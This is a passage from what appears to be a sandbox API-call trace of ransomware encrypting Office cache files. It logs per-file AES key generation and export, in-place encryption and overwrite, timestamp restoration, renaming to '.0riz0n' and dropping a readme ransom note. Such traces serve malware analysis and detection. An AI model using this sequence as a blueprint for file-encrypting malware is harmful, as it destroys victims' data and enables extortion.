(HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0159.860] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0159.860] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0159.860] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0159.860] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xd4200) returned 0x1c80020 [0159.860] ReadFile (in: hFile=0x1c0, lpBuffer=0x1c80020, nNumberOfBytesToRead=0xd4200, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x1c80020*, lpNumberOfBytesRead=0x1a7fab0*=0xd4200, lpOverlapped=0x0) returned 1 [0159.879] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xd4200) returned 0x1d60020 [0159.891] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c80020) returned 1 [0159.895] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xd4200) returned 0x1c80020 [0159.895] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0159.917] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1d60020) returned 1 [0159.921] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xd4600) returned 0x1d60020 [0159.932] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1d60020*, pdwDataLen=0x1a7faac*=0xd4200, dwBufLen=0xd4600 | out: pbData=0x1d60020*, pdwDataLen=0x1a7faac*=0xd4210) returned 1 [0159.938] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xd4240) returned 0x2340020 [0159.953] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c80020) returned 1 [0159.957] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1d60020) returned 1 [0159.961] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0159.961] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xd4200, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xd4200, lpOverlapped=0x0) returned 1 [0159.964] FlushFileBuffers (hFile=0x1c0) returned 1 [0159.981] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0159.981] NtClose (Handle=0x1c0) returned 0x0 [0159.981] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.0riz0n")) returned 1 [0159.982] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.0riz0n", dwFileAttributes=0x2020) returned 1 [0159.982] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0159.982] GetLastError () returned 0x2 [0159.982] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x984608, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0159.982] GetLastError () returned 0x2 [0159.983] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0160.032] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0160.032] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0160.033] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0160.033] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x1b) returned 0x1c7f030 [0160.033] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4*(dwLowDateTime=0x771a0050, dwHighDateTime=0x1d59598)) returned 1 [0160.034] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0160.034] NtClose (Handle=0x1c0) returned 0x0 [0160.034] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0160.034] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0160.034] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0160.034] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2340020) returned 1 [0160.038] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0160.038] CryptDestroyKey (hKey=0x829d78) returned 1 [0160.038] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0160.038] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0160.038] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0160.038] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0160.038] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333)) returned 1 [0160.038] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0160.038] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0160.038] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0160.038] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0160.038] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0160.039] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0160.039] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0160.039] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333)) returned 1 [0160.039] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0160.039] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0160.039] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0160.039] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0160.039] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0160.039] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333)) returned 1 [0160.039] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0160.039] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0160.039] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0160.039] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0160.039] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0160.039] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0160.039] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0160.040] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60*(dwLowDateTime=0xe7b68970, dwHighDateTime=0x1d301be)) returned 1 [0160.040] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0160.040] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0160.040] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0160.040] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0160.040] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0160.040] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0160.040] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0160.040] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0160.040] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0160.040] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0160.040] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x340) returned 0xa7fc38 [0160.040] ReadFile (in: hFile=0x1c0, lpBuffer=0xa7fc38, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa7fc38*, lpNumberOfBytesRead=0x1a7fab0*=0x333, lpOverlapped=0x0) returned 1 [0160.042] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x340) returned 0xa288e8 [0160.042] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0160.042] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x340) returned 0xa7fc38 [0160.042] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0160.042] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa288e8) returned 1 [0160.042] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x740) returned 0x9956e8 [0160.042] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9956e8*, pdwDataLen=0x1a7faac*=0x333, dwBufLen=0x733 | out: pbData=0x9956e8*, pdwDataLen=0x1a7faac*=0x340) returned 1 [0160.042] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9956e8) returned 1 [0160.042] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0160.043] WriteFile (in: hFile=0x1c0, lpBuffer=0xa7fc38*, nNumberOfBytesToWrite=0x333, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa7fc38*, lpNumberOfBytesWritten=0x1a7fab0*=0x333, lpOverlapped=0x0) returned 1 [0160.043] FlushFileBuffers (hFile=0x1c0) returned 1 [0160.046] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0160.046] NtClose (Handle=0x1c0) returned 0x0 [0160.046] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.0riz0n")) returned 1 [0160.047] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0160.047] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0160.047] GetLastError () returned 0x2 [0160.047] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x984628, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0160.047] GetLastError () returned 0x2 [0160.047] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0160.048] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0160.048] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0160.049] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0160.049] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x17) returned 0x1be3cf0 [0160.049] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4*(dwLowDateTime=0x77212470, dwHighDateTime=0x1d59598)) returned 1 [0160.049] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0160.049] NtClose (Handle=0x1c0) returned 0x0 [0160.050] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0160.050] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa288e8) returned 1 [0160.050] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0160.050] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0160.050] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0160.050] CryptDestroyKey (hKey=0x829d78) returned 1 [0160.050] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0160.050] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0160.050] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0160.050] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0160.050] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b)) returned 1 [0160.050] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0160.050] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0160.050] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0160.050] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0160.050] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0160.051] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0160.051] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0160.051] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b)) returned 1 [0160.051] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0160.051] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0160.051] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0160.051] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0160.051] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0160.051] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b)) returned 1 [0160.051] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0160.051] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0160.051] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0160.051] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0160.051] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0160.051] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0160.051] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0160.051] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60*(dwLowDateTime=0xe8728670, dwHighDateTime=0x1d301be)) returned 1 [0160.051] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0160.052] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0160.052] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0160.052] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0160.052] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0160.052] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0160.052] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0160.052] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0160.052] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0160.052] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0160.053] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x6a40) returned 0x1b8d110 [0160.053] ReadFile (in: hFile=0x1c0, lpBuffer=0x1b8d110, nNumberOfBytesToRead=0x6a3b, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x1b8d110*, lpNumberOfBytesRead=0x1a7fab0*=0x6a3b, lpOverlapped=0x0) returned 1 [0160.054] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x6a40) returned 0x1c15220 [0160.054] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1b8d110) returned 1 [0160.054] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x6a40) returned 0x1b8d110 